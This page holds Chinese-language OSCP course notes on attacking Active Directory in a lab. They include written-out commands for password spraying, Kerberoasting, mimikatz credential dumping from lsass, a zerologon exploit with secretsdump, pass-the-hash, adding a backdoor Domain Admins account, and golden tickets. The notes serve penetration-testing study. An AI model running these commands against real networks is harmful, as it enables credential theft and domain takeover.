OSCP Day 7 - HackMD

# OSCP Day 7 ###### tags: `OSCP` ## Intro * 滲透測試 * 風險導向限定範圍模擬駭客入侵找出弱點提供修補建議 AD改版兩次 OSCP PEN300會有更多變形紅隊演練 * 紅隊演練 * 不限定範圍真的模擬駭客入侵嘗試取得網域伺服器控制權破解NTLM Hash Net-NTLMv2 Relay Net-NTLM2 P689~803 AD列舉工具維持權限 keberos as rep silver 備份帳號 [hacktrick](https://book.hacktricks.xyz/welcome/readme) [casvancooten](https://casvancooten.com/) [wadcoms](https://wadcoms.github.io/) 考試題目其實就那些 ## 網域 AD LDAP 台灣大概九成九都是設定GCB 原先是美國政府制定的 DNS Enterprise Admins ** Domain Admins Administrators 當AD裝好後就沒有Local Admin了 Cert Admin DNS Admin 資安院 AD大冒險Lab ```bash= # 列出服務版本號 nmap -sS -PN -A 10.7.30.21 ``` ``` enum4linux -A 10.7.30.21 ``` ``` # AD user列舉 GetADUsers.exe -all cs.org/cht ``` ``` # password spray medusa -M smbnt -h 10.7.30.23 -u CS\\CHT -p /usr/share/wordlists/metasploit/common_roots.txt ``` ``` net user net user cht3 net user cht3 /domain net user Administrator /domain net group "Domain Admins" /domain net view ``` ### Kerveros 主要有三個component Ticket system KDC Key Distribution Center 密鑰分發中心 KDC = AS＋TGS AS Authentication Server 認證伺服器 TGS Ticket Grainting Server 票據授權伺服器 TGT Ticket Grainting Ticket 票據授權票據 * flow * 1. user -> request TGT -> DC # AS REQ * 2. user <- TGT + Session Key <- DC # AS REP * 3. user -> Request Ticket + Auth -> DC # TGS REQ * 4. user <- Ticket + Session Key <- DC # TGS REP * 5. user -> Request Service + Auth -> Resource Server # AP REQ * 6. user <- Server Authentiation <- Resource Server # AP REP ``` impacket-GetUserSPNs cs.org/cht:test1234 -request 10.7.30.23 ``` #### AS REP Roasting Descripti ## 權限提升 ``` # Impacket Toolkit GetADUSErs.exe -all cs.org/cht ``` Find GPP passwords * Map drives * Create Locala Users * Data Sources Win10 Unatted Set password User Login Script Secret很常放在網芳的資料夾 ``` smbclient -L 10.7.30.21 -U cs/cht smbclient //10.7.30.23/SYSVOL -U CS>ORG/CHT ``` 最好是先去打Lab知道他會怎麼考然後去看PDF 要爆破用rockyou就好 ## 橫向移動 AD拓譜視覺化工具 [Bloodhound](https://www.sans.org/blog/bloodhound-sniffing-out-path-through-windows-domains/) SharpHound.ps1 # 把AD列舉完匯入到Bloodhound Kerberousting AS-REP Attack [Mimikatz](https://github.com/gentilkiwi/mimikatz) AD工具包必考 * 做golden ticket *　exploit工具 *　提權密碼會存在記憶體裡所以用mimikatz去dump記憶體拿密碼新版本的mimikatz才有printnightmare 做dump要拿到local admin 基本上就是dump lsass.exe systeminfo ```bash= # 先拿debug全縣 privilege::debug # 拿有登入的人的密碼hash username有$就是系統帳號 sekurlsa::logonpasswords # 新版本windows會把明文的密碼遮掉 # 可以改registry 然後讓admin重登就可以看到 # 可以直接用工作管理員或sysinternalsuite去dump lsass.exe回家慢慢離線分析 # user的dump檔案大概幾十MB # DC 的dump檔案大概可能到GB ``` [zerologon](https://0xdf.gitlab.io/2020/09/17/zerologon-owning-htb-machines-with-cve-2020-1472.html) ```bash= mimikatz shell> lsadump::zerologon /target:cs.org /account:WIN-31G4O3O2TPF$ /exploit # 用DmainController 密碼hashtable的漏洞一直猜零去碰撞登入後把密碼清空 cmd> impacket/secretsdump.exe -just-dc -no-pass WIN-31G40302TPF$@10.7.30.23 >> pass.txt ``` ![](https://hackmd.io/_uploads/H14I7JLS2.png) 用NTLM hash登入 ``` cmd> impacket/wmiexec.exe -hashes "" cs/Administrator@10.7.30.23 ``` ![](https://hackmd.io/_uploads/rkoYHkUSn.png) ``` # 用網域管理員的帳號新增使用者並且加入到網域管理群組 cmd> net user chtt chttpasswd /domain /add cmd> net user chtt cmd> net group "Domain Admins" chtt /add cmd> net user chtt ``` ### 常用橫向工具 ``` impacket psexec.py # 445 smbexec.py $ 135,445,49751 wmiexec.py # 445 atexec.py # 135 445 50911 dcomexec.py # 445 ``` ``` # 其中一個維權方式 reg save HKLM\SAM sam.hiv reg save HKLM\SYSTEM sys.hiv ``` [AD Exploits Abusing shadow copy](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet#abusing-shadow-copies) ### crackmapexec 自動化mimikatz 講義說可以用 ### 中間人攻擊攔截管理員的ticket ### Golden Ticket https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket 可以用mimikatz的模組偽造golden ticket ``` kerberos::golden ``` ### Silver Ticket ### PTH Pass The Hash PTT Pass The Ticket ### NTDS.dit # 可以copy出來備份AD SAMBA PTH ### WINrm 如果發現impacket的exec都不能動，可以試試看winrm https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm#using-evil-winrm https://github.com/Hackplayers/evil-winrm ## 補充 SPN Service Principal Names doamin enum4linux 找網芳用sharpHound Kerberos Auth 如果在列舉的時候看到backup就可以先打開來看看有沒有credential dir \\dc1.corp.com\backup之類的 webshell截圖flag不給分要用reverse shell截圖flag才給分 ## 考試準備 https://fs.hubspotusercontent00.net/hubfs/5852453/OSCP%202.pdf 記得一邊截圖作筆記不能共筆雲端分享 OSCP METHDOTHOGY scanning [自動nmap](https://github.com/21y4d/nmapAutomator) 懶人腳本 exploitation flag post exploiting OSCP MINDMAP 心智圖卡住時可以看 metasploit meterpreter payload只能用一次不能用的東西 spoofing commercial tool db_autopwn browser_autopwn sqlmap sqlninja burp profession

Syntax	Example	Reference
# Header	Header	基本排版
- Unordered List	Unordered List
1. Ordered List	Ordered List
- [ ] Todo List	Todo List
> Blockquote	Blockquote
Bold font	Bold font
Italics font	Italics font
~~Strikethrough~~	~~Strikethrough~~
19^th^	19^th
H~2~O	H₂O
++Inserted text++	Inserted text
==Marked text==	Marked text
[link text](https:// "title")	Link
![image alt](https:// "title")	Image
`Code`	`Code`	在筆記中貼入程式碼
```javascript var i = 0; ```	`var i = 0;`
:smile:		Emoji list
{%youtube youtube_id %}	Externals
$L^aT_eX$	L^aT_eX
:::info This is a alert area. :::	This is a alert area.